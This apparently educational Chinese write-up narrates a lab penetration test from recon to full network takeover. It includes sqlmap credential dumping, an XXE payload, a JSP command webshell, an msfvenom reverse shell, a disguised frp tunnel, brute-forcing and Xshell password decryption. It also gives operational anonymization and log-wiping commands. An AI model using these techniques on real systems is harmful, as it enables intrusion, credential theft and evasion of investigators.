本文的背景是师傅Z给徒弟007的一次模拟实战环境的靶场考核测试,想考察其渗透入门级环境的思路和能力。本文基于007的转述而成,颇为详细地记录了他渗透指定目标时的整个链式攻击路径。笔者作为渗透小白,感觉能从中学到很多的东西,征得同意,分享出来一起学习!
0x00 前言
本文的背景是师傅Z给徒弟007的一次模拟实战环境的靶场考核测试,想考察其渗透入门级环境的思路和能力。本文基于007的转述而成,颇为详细地记录了他渗透指定目标时的整个链式攻击路径。笔者作为渗透小白,感觉能从中学到很多的东西,征得同意,分享出来一起学习!
0x01 渗透准备
浏览器设置:
1)Chrome浏览器确保更新到最新版本。
2)Chrome浏览器设置,权限全都设置为不允许。
3)Chrome隐私设置和安全性全部清理一遍。
4)安装WebRTC Network Limiter,关掉UDP请求,防止泄露IP。
5)安装可靠的User-Agent混淆插件,市面上很多插件依然会泄露UA。
6)安装隐私獾插件,防止被追踪。
7)安装ModHeader插件,混淆HTTP协议信息并伪造IP头。
IP隐藏设置:
外部网络:
通过高匿渠道购入不同平台的3~5台VPS,用于后续使用。
选择其中一台用来搭建VPN,一台用来搭建Clash/v2ray接入其他机场回到国内高速代理,过程需要确保加密数据再传输,以防出现不可控外部风险。
内部网络:
树莓派充当软路由,加入全局跳板,确保VPN不会宕机,同时源IP多一层跳板,防止真实IP泄露。
物理环境:
使用非实名的日抛流量卡/手机卡,自带话费,打完一次就换。
桌面环境:
将移动SSD固态硬盘多次复写后再安装纯净的Linux/Macos系统,然后安装相应平台的虚拟机,拷贝纯净Kali镜像作为桌面环境使用,执行自定义工作流安装脚本,安装一些著名开源常用工具的稳定版。
网络匿名性检测网站:
注意事项:
尽量避免使用第三方工具,避免全量爆破(容易打出预警),避免依赖脚本POC、尽可能手工测试,采用原生系统自带工具,善于伪装原生行为,来执行一系列低感知、少痕迹、无害化的渗透动作。
- 关于渗透准备的环节的内容,笔者认为大可不必,但读者根据个人需要可以自行增减,更加细节化这个环节,有助于降低被溯源的概率,但是如果缺乏足够成熟的匿名设施,那么会在某个程度上,这些行为可能会阻碍渗透的速度,故抛砖引玉、因人而异、因地制宜。
0x02 前期打点
目标域名:xxxxxxx.com
预期目标:低成本、短时间(2~3天)能够了解内网拓扑,定位到核心机器并完成接管。
主域名为门户网站,并没有太多功能,没能找到切入点,故工作内容可以转向攻击面延伸的打点环节。
子域名信息:
1. subfindr-dxxxxxxx.com-oredacted.txt
IP探测(cdn):
1. catredacted.txt|xargs-P5-I{}mip{}
分析域名历史解析记录、多节点Ping,确认无CDN,得到真实网段1.0.0.1/24
端口扫描:
1. #VPS
2. masscan-p1-65535--rate=20001.0.0.1/24
3.
4. #FOFA/ZOOMEYE/SHODAN聚合
5. Search:ip="1.0.0.1/24"
获取title信息:
1. catredacted.txt|httpx-threads5-web-server--title--status-code
2. catip.txt|httpx-threads5-web-server--title--status-code
扫描robots.txt:
1. catredacted.txt|httpx-threads20--title--status-code-path'/robots.txt'
2. catip.txt|httpx-threads20--title--status-code-path'/robots.txt'
扫描文件泄漏:
1. catredacted\_all.txt|nuclei-rate-limit50-tlogrequest.debug-t~/nuclei-templates/files/
2. GoogleDork:
3. site:xxxxxxx.cominurl:login
4. site:xxxxxxx.cominurl:upload
5. site:xxxxxxx.comintext:管理|登陆|邮箱|手机
6. site:xxxxxxx.comext:docx|pdf
7. ......
收集到多个登陆口及其开放的服务:
1. https://xxxxxxx.com/stuxxx/login.html
2. https://xxxxxxx.com/conxxx/login/login.html
3. https://redacted.xxxx.com/conxxx/
4. http://ixx.xxxxxxx.com/conxxx/
5. http://exam.xxxxxxx.com/exam/
6. https://peixxxx.xxxxxxx.com/peixxx/login/
7. http://ixx.xxxxxxx.com/console/
8. https://x.x.x.x:6443/welcome.php乱入的VPN
9. ......
社会关系信息:组织成员、管理人员邮箱、域名备案信息、招聘信息...
0x03 边界漏洞
加载默认配置Burp,主动关掉主被动扫描模式,配置Project Option的代理,再设置好Target Options,接下来,用挂上Burp代理的浏览器去测试打点环节中获取到的大量WEB服务URL。
3.1 发现SQL注入
某个子域名用户中心的订单查看的功能处,会发起一个POST请求,参数course_id较为可疑。
1. POST/xxxx/pay/addTradeHTTP/1.1
2. body:course\_id=1
通过简单的数字运算和)|'|"闭合确定存在无回显的SQL注入,支持布尔盲注和延时注入,布尔盲注有一个缺点就是,匹配成功会导致生成一个订单,会显得很异常,可能需要自行编写脚本进行改良,二就是选用延时进行注入。这里我选择了延时注入,因为POST请求相对于GET请求较为隐蔽,又经过测试当前站点防护水位很低,一个WAF都没有,故可以选择SQLMAP来读取指定管理员表:
1. sqlmap-rredacted.txt--techniqueT--random-agent--proxy=http://127.0.0.1:8080--threads=10-Dcourse-Tuser-C"username,password"–dump
- SQLMAP的探测手段比大多数脚本小子都要好,这里需要注意SQLMAP挂上Burp代理来绕过HTTPS的检验,这样也能够审计SQLMAP流经Burp发送的HTTP包内容。
经过一段时间的等待后,可以获取到后台的管理员账户和密码信息,其中密码为明文,这时并不用急着去登陆,因为不一定能Shell,可知数据库为SQLSERVER,查看权限为DBA,故尝试堆叠执行命令,返回结果非常慢,SQLMAP报错,不能够直接利用,先记录下来。
3.2 发现Redis未授权
打点环节中利用网络空间搜索引擎的信息可以快速定位到目标Redis未授权访问。
1. redis-cli-h1.0.0.126
Windows 64位机器,redis版本3.2.100,无主从复制,可以考虑写Shell或者写启动项进行GetShell。
利用工具写入启动项后需要等待重启才能生效。故想通过路径写Shell,尝试扫描机器上的web服务来收集路径信息:
1. masscan-p1-655351.0.0.126--rate=20000>2.txt
2. cat2.txt|grep-P'(\\d+)/tcp'-o|grep-P'\\d+'-o>ports.txt
3. #纯端口扫描
4. catports.txt|xargs-I{}echo"1.0.0.126:"{}|httpx-o200\_port.txt
5. #带host扫描
6. catports.txt|xargs-I{}echo"x.xxxxxxx.com:"{}|httpx-o200\_host.txt
dirsearch进行目录扫描:
1. cat200\_\*.txt|xargs-I{}dirsearch--random-agents-t20-u{}-e\*
FUZZ没有很大收获,9000端口开放了一个Gitlab服务,GitLab Community Edition 8.15.1,其他端口404,并没有路径信息。
针对9000端口的Gitlab,盲尝试CVE-2021-22205 Github上面的脚本,发现没有成功,考虑到这个版本比较老,故可以先留着,后面如果没有新思路,回头再研究它,毕竟随便整整一个老版本的1day不是很大问题。
0x04 撕口子:命令执行
到了这一步,很大概率是能获得Shell的,但是有一个情况需要考虑,redis那台机器可能并不能够出网,后续需要改成监听类型的木马,利用起来稍微有点麻烦,不是很适合短期作战的思路,目前的想法还是想找一条直接的路进入内网中,故回到SQL注入那个点,利用SQL注入获取到的账号密码登陆进网站后台。
观察JS发现存在Ueditor的路径,要是asp.net的话还好说,可能可以GetShell,jsp的话一般没有什么漏洞,简单上传一个图片进行测试,如预期一样并不存在配置不当。通过继续点击各个功能,有个设置题目答案选项的点,使用了XML类型的数据,插入XML注入语句进行测试
1. <?xmlversion="1.0"encoding="utf-8"?>
2. <!DOCTYPEitems\[
3. <!ENTITYtestSYSTEM"file:///etc/passwd"\>\]>
4. <items>
5. <item><serial>1</serial><answer>0</answer><title>&test;</title></item>
6. <item><serial>2</serial><answer>1</answer><title><!\[CDATA\[2\]\]></title></item>
7. <item><serial>3</serial><answer>0</answer><title><!\[CDATA\[3\]\]></title></item>
8. <item><serial>4</serial><answer>0</answer><title><!\[CDATA\[4\]\]></title></item>
9. </items>
回到题目的答案选项,发现可以正常回显出信息,java的XXE支持file://协议列目录,故可以收集到很多有趣的信息,比如.git-credentials
利用文件里面的账户信息,我们可以尝试去9000端口的GitLab进行登陆,很好,Success,Admin权限。
翻找一番项目,根据域名前缀,很快定位到相关的项目的GitUtilController.java文件中的other方法,将可控的参数传进去gitCmds方法进行命令拼接,造成命令执行,阅读项目中的路由接口,很容易就可以构造出利用的POC。
原本打算直接反弹Shell,但是很迷,虽然机器出网,但是没办法对我的VPS或者reverse-shell.sh发起请求,而且tomcat也不支持传入类似-、|之类的符号,导致没办法正常写入文件,为了省事,我最终选择通过ueditor上传CMD JSP和蚁剑一句话,比较顺利。
1. <%
2. **if**("023".equals(request.getParameter("pwd"))){
3.java.io.InputStreamin=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
4. **int**a=-1;
5. byte\[\]b=**new**byte\[2048\];
6. out.print("");
7. **while**((a=in.read(b))!=-1){
8. out.println(**new**String(b));
9. }
10. out.print("");
11. }
12. %>
成功GetShell之后,分析history,可知网站通过gitlab来部署和更新代码的,开发为了方便选择缓存用户名和密码,用于后续进行验证,方便对网站代码进行更新。(生产环境跟开发环境一体化,自然会出现很多问题)
浏览history中,发现root用户在.ssh路径下写入了一份公钥,说明有人员定期管理这台机器,last定位到管理机器的IP地址:10.0.0.57。
netstat查看网络链接,找到数据库-75和redis-16的链接信息
翻找网站目录的配置文件,web.xml和redis.properties
得到数据库账号密码:UXXCM:5xxI2@xxx,Redis用于缓存,可未授权访问。通过Shell管理工具自带的数据库功能链接到mssql数据库,执行命令查看权限及其出网状态。
1. execmaster..xp\_cmdshell"whoami&&nslookupbaidu.com"
对机器继续收集一些相关信息:
Microsoft Windows Server 2019 Datacenter、补丁较少、Administrator账户似乎是机器初始化生成的,管理员登陆日期较为久远,磁盘也没有敏感信息,进程有360。
重点关注下网络链接信息:
发现有57、60、106(shell的IP)链接到数据库,通过简单curl 1.0.0.57发现是没有WEB服务的,那么这个链接很有可能是navicat之类的工具发起的,进一步说明57这台机器应该是核心的控制机器。
0x05 陷入代理困局
为了更好地对内网进行扫描,迫切需要构建一个socks5代理,并将Linux机器反弹到VPS的MSF,进行后续操作。
一开始打算先搭建FRP搞一条socks5通道出来,这个机器使用其他端口失败,因为访问baidu.com能成功,说明可能开放80、443之类的端口,故尝试使用443常用https端口尝试Bypass。
原以为即将步入内网游戏结束,但是那台机器很佛,有时候能连接到VPS的IP,有时候不行,上传frpc都做不到,为了解决这个问题,不得不对此进行一番排查。
1. #系统信息,centos
2. cat/etc/\*release\*
3. #失败
4. traceroutebaidu.com
5. #发现GeneratedbyNetworkManager
6. cat/etc/resolv.conf
7. #尝试关闭,依然没有效果
8. systemctlstopNetworkManager
9. #添加公共dns,看下nslookup是否正常
10. nmcliconnectionshow#获取网卡名称ens160
11. nmcliconmodens160ipv4.dns"114.114.114.1148.8.8.8"
12. nmcliconupens160#依然没用
13. #关闭iptables,发现根本就没有启动
14. systemctlstopiptables
唯一可以知道的是traceout预设的dns服务器ip是成功的,其他DNS服务器例如8.8.8.8则是不行,挺魔性的,没运维经验,猜测是被某个保护进程给强制Battle了。(后面发现不是这样的!)
继续测试,内部估计有白IP和白端口放行,但是那个白IP列表应该是动态的,因为有时候能连接到自己的VPS。
尝试正向反弹Shell,发现外部端口被过滤。ps -ef查看进程,发现存在vmtoolsd,同时/tmp目录出现VM的日志信息,这台机器应该是一台虚拟机,非常迷惑的是一开始,VPS的80端口有时候能被目标机器请求,后面就一直没反应了。于是,我在这个点陷进去了,纠结这个机器不能出网到底是什么原因,进行一系列测试,别的机子是能请求到VPS的,一到目标机器就不行了,甚至连请求都接收不到,但是请求类似知乎、qq、百度这些站点就可以,一时间没什么头绪,先搁置,写会代码放松下。
0x06 阶段成果:主站GetShell
渗透的本质是信息收集,继续整理手头的信息,一个出网有限制的Shell(数据库mssql、redis账户信息已知)、一个开放redis的gitlab window服务器(Admin账户已知)、前期打点收集到的各种登陆口、账号邮箱等信息。
习惯性地搜集Gitlab中所有项目的数据库链接信息:
结果令我大失所望,连上的都不能出网,更别说一些已经过期连不上的。
继续折腾,脑子一个念头闪过,可能是Shell的这台机子有策略限制的? 如果可以换一台,是不是可能就可以了?
抱着这个想法,基于之前收集到信息,我发现多个项目都是基于一个板子开发的,代码重合度很高,所以经过梳理之后,我整理出与已经shell的网站页面很相似的两个站点peixxx.xxxxxxx.com和xxxing.xxxxxxx.com,通过阅读项目代码,发现都存在同样命令执行漏洞,当我兴高采烈地冲上去请求一波发现,这个洞是需要后台管理员权限的,难道我要重新注册一个账号重新进行一次耗时的SQL注入?难道我要继续留下几百条痕迹?是我的SQLMAP很勇? 因为心疼差不多5毛钱一条的接号短信的费用,让我重新注册一个账号似乎是不可能的事情了,要么试试同样的管理员密码? 在十来年的渗透生涯中,这种成功率很高,信心满满,结果失败了,一气之下,不顾日志记录,连着登陆了好几次,wow???后面我不信邪,继续尝试了其他账户,能成功登陆一些非管理员权限的账户,但是却没办法访问命令执行那个漏洞点,返回包提示访问出错。
文件上传GetShell
继续浏览其他项目,搜索有没有类似漏洞,大概看了10个左右,没有发现线索,不过在找的过程,发现了主站的项目,花十几分钟浏览代码,很容易就找到一处文件上传。
1)解析Request的文件表单上传包
2)获取文件名,拼接路径后直接写入文件
漏洞点在getFileNameByTime函数没有对后缀进行处理:
Burp右键构造出表单文件请求包,然后直接发送就可以上传成功。
Shell:
成功GetShell后,第一个念头就是进内网,要不然这样搞Linux有啥意思?信息收集可以放在后面进行梳理,最重要是构建通向内网的隧道和良好的交互式执行环境。
007对隧道执念很深,笔者认为这里应该有很多方式可以搞,比如基于jsp文件来进行扫描和数据库爆破,并不一定非要出网用熟悉的工具来测试。
0x07 兜兜转转进内网
原本我以为换个服务器应该会不一样了,结果是同样的情况,心态崩了,后面没办法了,得想尽办法搞个代理,方便本地fuzz一下内网服务。
尝试reGrorg
上传proxy.jsp,尝试使用网页代理,这个性能一般般,能支持基本RDP的数据传输。
1. https://xxx.xxxxxxx.com/ueditor/jsp/xxx/proxy.jsp
本地构建代理:
1. pythonneoreg.py-u"https://xxx.com/ueditor/xx/xx/proxy.jsp"-kpassword-p9999
然后用kscan进行socks5代理扫描:
1. kscan--proxysocks5://127.0.0.0:9999-t1.0.0.0/24--threads10
效果非常不尽人意,扫描质量并不好。
继续挂着这个低速代理折腾几十分钟,没很大收获,主要是很卡。不过,在这个过程中,对Shell测试其他点后,我发现了命令不回显的原因,是Nginx代理设置了超时时间窗口,超过窗口的花请求就会被断开,导致没有命令结果回显,并不是被Battle,后面通过一些途径弄到了一台国内机器的IP用socat进行端口转发,一切似乎好起来了。
MSF上线
生成Linux ELF木马文件:
1. msfvenom-plinux/x64/meterpreter/reverse\_tcpLHOST=172.16.252.129LPORT=443-felf>shell.elf
MSF Server端配置:
1. useexploit/multi/handler
2. setpayloadlinux/x64/meterpreter/reverse\_tcp
3. setlhost172.16.252.129
4. setlport443
5. showoptions
6. exploit
反弹上线
配置FRP
1. upload../shell/frpc
2. upload../shell/frpc.ini
切换到shell:
1. mvfrpcsystemed
2. mvfrpc.iniconfig.ini
3. chmod+x./systemed
4. ./systemed-cconfig.ini
0x08 内网漫游
进入内网之后,一切就像切菜了,简单nmap全量扫一波,再次确认基本没有防护软件。
所剩时间并不多,故考虑直接工具一把梭。
快速定位管理机器:
shell1:
shell2:
不难可以确定核心的主控在于57、102、131、159、220,其中56、58比较少见。
快速定位Web服务;
1. ./kscan-Pn-t1.0.0.0/24-p80,443,8000-9000
没发现一些堡垒机之类的集权WEB服务,都是一些很容易日的站点,因为有源码没意思。
因为开放了很多1433,考虑爆破数据库来拿下几台window的机器,看下Window的密码规则。
1. hydra-Lu.txt-Pp.txt-Mt.txtmssql-vV
发现其中有一台机器是56?这不是控制机器么? 好家伙,天助我也。
1.execmaster..xp\_cmdshell"whoami&&ipconfig&&nslookupbaidu.com"
权限system,虽然不出网但是问题不是很大,在其他数据库找到出网的机器作为立足点就行。我选择的方案是,在出网的Window机器中直接构建一个共享目录(删起来方便)用来传递木马,采用正向Shell,即可成功上线。
1. execmaster..xp\_cmdshell"cmd\\c\\\\1.0.0.29\\360.exe"
直接Dump一波密码。
好家伙,这波让我抓到规律了,密码形式为db+56@xxx,hydra爆破一波,又拿下一些Window机器。
同时在浏览56这台机器的桌面文件夹,我就发现有了Xshell的快捷方式,那么一切似乎也很简单。
Xshell 默认路径
C:\Users\Administrator\AppData\Roaming\NetSarang\Xshell\Sessions\
Xshell版本为3.0<5.1,为固定key加密,网上脚本跑一波,解了一波密。
然后很自然的,代入这些账号密码,nmap脚本跑一波,Py处理下结果,成功获取到十几台其他的Linux服务器。
1. #!/usr/bin/envpython3
2. #-\*-coding:utf-8-\*-
3.
4. importre
5. withopen("200.txt","r")asf:
6. content=f.read()
7. result=re.findall(r"for(\\d+.\\d+.\\d+.\\d+)(?:.|\\n)\*?Accounts:(?:.|\\n)\*?(\\w+:.\*?)-(?:.|\\n)\*?",content)
8. **for**xinresult:
9. print(x)
自此,基于这3个密码,核心的WEB服务器都可以完全控制。渗透目标基本完结,继续下去没很大意义。
nmap统计下,没拿下的Linux服务器:
nmap统计下没拿下的Window服务器:
经过一番测试,感觉这些机器并没有很多有趣的信息,反而在其他IP有一些信息,能够打向开发植入木马。
不过没拿下的IP中有台核心控制机器57,感觉可以扩大范围,不过对我来说没啥意义,况且根据整理出的密码特征,慢慢爆破一波也不是很难。
0x09 痕迹清理
每次做完项目,都要花大量的时间在清理痕迹这个环节中,所以每次渗透前都要考虑怎么做才可以避免减少这个环节的工作量,比如工具上传到某个统一的隐藏文件夹,工具检测环境变量来自删除、编写脚本实现日志自动删除等等......
我们是从外到内打进去的,那么清理痕迹就从内到外,需要反过来进行处理,和入栈出栈差不多。
1)一般来说我都不会连RDP,因为这个会留下系统审核日志,要不然需要打开日志管理器清除一下。
2)CS我一般不落地,CS结束完所有全部进程前,用tasklist /svc看一下,注入powershell一定要退出。
3)落地的CS马则必须要基本删除一次,来增加溯源成本。一般来说,我的木马在反沙箱这块设计是和常规思路反着来的,这次测试比较成功,没有沙箱上线,说明后门还没有上传被分析。
4)Linux清理一系列进程,并清除Shell文件及其对应位置的目录,这一块计划后面统一上内存shell。
1. ps-ef|grep'pty'|grep-v'grep'|awk'{print$2}'|xargs-I{}kill-9{}
2. ps-ef|grep'/bin/sh-ccd'|grep-v'grep'|awk'{print$2}'|xargs-I{}kill-9{}
3. shred-zvu-n5./temp/\*.jsp
4. rm-r./temp
5. sed'120,$d'-i/root/.bash\_history
6. ......
5)数据库和log文件,尽量删,模糊搜索log字符串,基于日期定位,再选择性删掉比较明显的痕迹,做不到100%无痕,因为可能有上游记录,目的就是增加溯源路径成本。
6)格式化VPS服务器,删除掉所有信息。
1. dd**if**\=/dev/zeroof=/dev/raw/raw1bs=1kcount=3000
0x10 文末结语
有幸与007一起交流内网渗透的知识,很感谢007的耐心指导,并欣赏其能够大方地分享自己常用的链式渗透思路。笔者结合007给出的靶场案例进行总结,链式流程:前期准备->边界打点->0day/1day GetShell->内网代理->内网漫游->痕迹清理->反思改进。不得不说,这个过程确实很完整很有参考意义,不过其中一些细节方面,007没能进一步详细说明,颇为遗憾!
- 本文作者: 26号院
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1391
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!